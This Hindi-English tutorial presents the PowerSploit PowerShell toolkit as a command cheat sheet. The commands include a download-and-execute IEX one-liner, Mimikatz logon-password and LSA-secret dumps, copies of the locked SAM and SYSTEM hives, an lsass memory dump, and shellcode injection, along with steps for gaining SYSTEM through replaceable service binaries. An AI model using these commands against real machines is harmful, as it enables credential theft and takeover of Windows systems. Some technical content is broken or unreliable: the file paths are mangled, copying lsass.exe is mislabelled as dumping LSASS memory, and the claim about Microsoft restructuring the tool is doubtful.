PowerSploit एक powerful PowerShell-based exploitation toolkit है जो post-exploitation, anti-forensics, और security testing के लिए modules provide करता है। यह Windows PowerShell की capabilities का use करता है।
👉 Windows post-exploitation में यह सबसे widely used PowerShell scripts collection है।
🔍 PowerSploit क्या-क्या कर सकता है
Privesc Escalation
Admin privileges gain करना
Code Execution
Remote code injection
Exfiltration
Data download/transfer
Antivirus Evasion
AMSI bypass techniques
Script Modification
In-memory execution
Recon Modules
System information gathering
⚙️ Install / Use PowerSploit
Clone PowerSploit Repository
git clone https://github.com/PowerShellMafia/PowerSploit.gitGo to PowerSploit Directory
cd PowerSploit👉 Note: PowerSploit directly install नहीं होता, PowerShell modules की तरह import करते हैं
Import Module (जब भी यूज़ करो)
Import-Module .PrivescPowerUp.ps1
Import-Module .ExfiltrationInvoke-NinjaCopy.ps1Or Download Specific Script
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')💻 Common Modules & Commands
👉 PowerSploit key modules और उनके commands:
PowerUp Privilege Escalation
Import-Module PowerUp.ps1
Invoke-AllChecksCheck for Service Vulnerabilities
Get-ServiceUnquoted
Get-ModifiableServiceFileInvoke-Mimikatz Credentials
Import-Module Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'Invoke-NinjaCopy File Copy
Import-Module Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:WindowsSystem32configSAM" -LocalDestination "C:SAM"Invoke-Shellcode Code Execution
Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)Out-Minidump Process Dump
Get-Process lsass | Out-Minidump -DumpFilePath C:lsass.dmp🌐 Real Example (Practical समझ)
# Import PowerUp module
Import-Module .PowerUp.ps1
# Run all privilege escalation checks
Invoke-AllChecks👉 यह command system में सभी possible privilege escalation vectors check करता है
मान लो PowerUp output कुछ ऐसा आता है:
🧠 इसका मतलब:
Service binary replaceable
Create malicious service.exe → gain SYSTEM
Unquoted service path
Create malicious C:\Program.exe → gain privileges
Using Invoke-Mimikatz (PowerSploit wrapper)
Import-Module Invoke-Mimikatz.ps1
# Extract logon passwords
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
# Dump LSA secrets
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'👉 PowerSploit से Mimikatz को PowerShell में wrap किया गया है → script-based automation
🔥 Advanced Example - Copy Locked Files
Copy SAM File (locked by Windows)
Import-Module Invoke-NinjaCopy.ps1
# Copy SAM registry hive (usually locked)
Invoke-NinjaCopy -Path "C:WindowsSystem32configSAM" -LocalDestination "C: empSAM"
# Copy SYSTEM hive for decryption keys
Invoke-NinjaCopy -Path "C:WindowsSystem32configSYSTEM" -LocalDestination "C: empSYSTEM"
# Dump LSASS process memory
Invoke-NinjaCopy -Path "C:WindowsSystem32lsass.exe" -LocalDestination "C: emplsass.exe"👉 What happens:
Bypass Locks
Read locked files
Copy to Local
Save to temp folder
Analyze Offline
Extract passwords
👉 Invoke-NinjaCopy allows reading files जो normally Windows द्वारा locked होते हैं like SAM, SYSTEM, LSASS
PowerSploit modules का use केवल authorized systems पर करो
🚨 Critical Points:
- AMSI Detection: Windows PowerShell इसे detect कर सकता है via AMSI
- Execution Policy: PowerShell execution policy bypass करना पड़ सकता है
- Malicious Use: बिना permission use करना cyber crime है
- Educational Purpose: Test lab और authorized penetration testing के लिए use करो
📌 Official Status: PowerSploit को Microsoft ने malicious scripts से differentiate करने के लिए restructure किया, defense के लिए भी use होता है
🧩 Related Tools
Mimikatz
Native credentials tool
Empire
C2 framework
Metasploit
Exploitation framework
PowerShell Empire
PS-based post-exploitation
PowerSploit = "PowerShell का Swiss Army Knife"
यह Windows PowerShell की full power use करके post-exploitation tasks automate करता है। Scripts import करो, commands चलाओ और system पर complete control पा लो।